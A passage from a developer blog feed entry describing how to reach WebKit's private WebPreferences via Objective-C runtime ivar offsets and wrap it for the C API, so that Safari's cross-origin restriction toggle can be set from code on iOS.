  <li>Wrap the <code class="language-plaintext highlighter-rouge">WebPreferences</code> in a <code class="language-plaintext highlighter-rouge">WKPreferencesRef</code> for the C API</li>
</ul>

<h2 id="extracting-the-c-webpreferences">Extracting the C++ <code class="language-plaintext highlighter-rouge">WebPreferences</code></h2>

<p>It turns out <a href="https://github.com/WebKit/WebKit/blob/b7e84a4224b3934868bc08f5c89b583355a6c87a/Source/WebKit/Shared/Cocoa/WKObject.h#L35">ObjectStorage</a> is basically just</p>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">struct</span> <span class="nc">ObjectStorage</span><span class="o">&lt;</span><span class="n">TypeName</span><span class="o">&gt;</span> <span class="p">{</span>
    <span class="n">TypeName</span> <span class="n">data</span><span class="p">;</span>
<span class="p">};</span>
</code></pre></div></div>

<p>i.e. a wrapper around the containing type with the object as its only member.</p>

<p>so basically our class becomes equivalent to:</p>

<div class="language-objective_cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">@interface</span> <span class="nc">WKPreferences</span> <span class="p">{</span>
    <span class="n">WebKit</span><span class="o">::</span><span class="n">WebPreferences</span> <span class="n">_preferences</span><span class="p">;</span>
<span class="p">};</span>
</code></pre></div></div>

<p>Usually, when we want to access a private instance variable, we can use KVO’s <a href="https://developer.apple.com/documentation/objectivec/nsobject/1412591-valueforkey?language=objc"><code class="language-plaintext highlighter-rouge">valueForKey:</code></a> method.</p>

<p>However, that method assumes that the instance variable contains a pointer to an Objective-C object; our ivar is not a pointer but an inline-allocated C++ object.</p>

<p>Instead, we use <code class="language-plaintext highlighter-rouge">class_getInstanceVariable</code> to get the instance variable, and perform pointer arithmetic with the offset from <code class="language-plaintext highlighter-rouge">ivar_getOffset</code> to get a pointer to <code class="language-plaintext highlighter-rouge">_preferences</code>.</p>

<h2 id="wrapping-the-webpreferences-into-wkpreferencesref">Wrapping the <code class="language-plaintext highlighter-rouge">WebPreferences</code> into <code class="language-plaintext highlighter-rouge">WKPreferencesRef</code></h2>

<p>To find out what a <code class="language-plaintext highlighter-rouge">WKPreferencesRef</code> is, I just passed in a random object into the method and was greeted with “unrecognized selector _apiObject”.</p>

<p>I made an Objective-C class with a property named <code class="language-plaintext highlighter-rouge">_apiObject</code>, stored the pointer to <code class="language-plaintext highlighter-rouge">WebPreferences</code> into the property, and it just worked.</p>

<h2 id="what-i-learned">What I learned</h2>

<ul>
  <li>Yet another way to access instance variables</li>
  <li>WebKit’s C API</li>
  <li>Most options in the Safari Develop menu can actually be set from code</li>
</ul>]]></content><author><name></name></author><category term="ios," /><category term="webkit," /><category term="safari" /><summary type="html"><![CDATA[Safari’s Web Inspector has an option (Develop -&gt; Disable Cross Origin Restrictions) to disable the same-origin policy for debugging. This allows, for example, the fetch API to load any page, not limited to the same domain or CORS-enabled domains.]]></summary></entry></feed>